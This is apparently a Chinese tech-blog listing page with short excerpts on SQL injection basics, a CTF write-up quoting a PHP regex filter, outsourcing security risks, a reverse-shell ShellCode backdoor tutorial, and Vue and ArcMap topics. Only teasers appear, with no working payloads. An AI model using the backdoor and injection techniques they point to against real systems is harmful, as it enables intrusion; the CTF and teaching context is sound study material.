    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 1.6 撰寫雙管道ShellCode后門

    本文將介紹如何將`CMD`系結到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令列界面下與其他程式進行互動,我們將從創建管道、啟動行程、傳輸資料等方面對這個功能進行詳細講解。此外,本文還將通過使用匯編語言一步步來實作這個可被注入的`ShellCode`后門,并以此提高代碼通用性。最終,我們將... ......

    uj5u.com 2023-07-05 08:34:21 more
  • ArcMap鑲嵌資料集的創建、資料匯入與資料范圍修改方法

    本文介紹基于ArcMap軟體,建立鑲嵌資料集(Mosaic Datasets)、匯入柵格影像資料,并調整像元數值范圍的方法~ ......

    uj5u.com 2023-07-05 08:26:31 more
  • 1.6 撰寫雙管道ShellCode后門

    本文將介紹如何將`CMD`系結到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令列界面下與其他程式進行互動,我們將從創建管道、啟動行程、傳輸資料等方面對這個功能進行詳細講解。此外,本文還將通過使用匯編語言一步步來實作這個可被注入的`ShellCode`后門,并以此提高代碼通用性。最終,我們將... ......

    uj5u.com 2023-07-05 08:25:52 more
  • 前端Vue自定義精美懸浮選單按鈕fab button 可設定按鈕背景顏色

    #### 前端Vue自定義精美懸浮選單按鈕fab button 可設定按鈕背景顏色 選單按鈕展開條目,下載完整代碼請訪問uni-app插件市場地址:https://ext.dcloud.net.cn/plugin?id=13321 #### 效果圖如下: ![](https://p3-juejin. ......

    uj5u.com 2023-07-04 10:00:12 more
  • 前端Vue自定義精美上下滾動通告欄組件 常用于展示公告資訊 上下

    #### 前端Vue自定義精美上下滾動通告欄組件 常用于展示公告資訊 上下滾動跑馬燈 上下滾動廣播,下載完整代碼請訪問uni-app插件市場地址:https://ext.dcloud.net.cn/plugin?id=13318 #### 效果圖如下: ![](https://p3-juejin.b ......

    uj5u.com 2023-07-04 10:00:08 more
  • 前端Vue自定義精美宮格選單按鈕組件 可設定一行展示個數 可設定

    #### 前端Vue自定義精美宮格選單按鈕組件 可設定一行展示個數 可設定成九宮格 十二宮格 十五宮格 , 下載完整代碼請訪問uni-app插件市場地址:https://ext.dcloud.net.cn/plugin?id=13315 #### 效果圖如下: ![](https://p3-juej ......

    uj5u.com 2023-07-04 10:00:04 more
  • 前端工程化實戰-開發企業級CLI

    腳手架大家一定都不陌生,比如我們經常使用的 vue-cli、create-react-app,它可以幫助我們快速的初始化一個專案,無需從零配置,極大的方便我們的開發。到這里你可能會疑惑,既然市面上有成熟的腳手架,為什么需要寫一個屬于自己的腳手架呢。因為公共腳手架雖然強大,但并不能滿足我們的實際開發需... ......

    uj5u.com 2023-07-04 09:59:49 more
  • 前端Vue自定義精美懸浮選單按鈕fab button 可設定按鈕背景顏色

    #### 前端Vue自定義精美懸浮選單按鈕fab button 可設定按鈕背景顏色 選單按鈕展開條目,下載完整代碼請訪問uni-app插件市場地址:https://ext.dcloud.net.cn/plugin?id=13321 #### 效果圖如下: ![](https://p3-juejin. ......

    uj5u.com 2023-07-04 09:59:31 more
  • 前端工程化實戰-開發企業級CLI

    腳手架大家一定都不陌生,比如我們經常使用的 vue-cli、create-react-app,它可以幫助我們快速的初始化一個專案,無需從零配置,極大的方便我們的開發。到這里你可能會疑惑,既然市面上有成熟的腳手架,為什么需要寫一個屬于自己的腳手架呢。因為公共腳手架雖然強大,但并不能滿足我們的實際開發需... ......

    uj5u.com 2023-07-04 09:54:11 more
  • 前端Vue自定義精美上下滾動通告欄組件 常用于展示公告資訊 上下

    #### 前端Vue自定義精美上下滾動通告欄組件 常用于展示公告資訊 上下滾動跑馬燈 上下滾動廣播,下載完整代碼請訪問uni-app插件市場地址:https://ext.dcloud.net.cn/plugin?id=13318 #### 效果圖如下: ![](https://p3-juejin.b ......

    uj5u.com 2023-07-04 09:53:45 more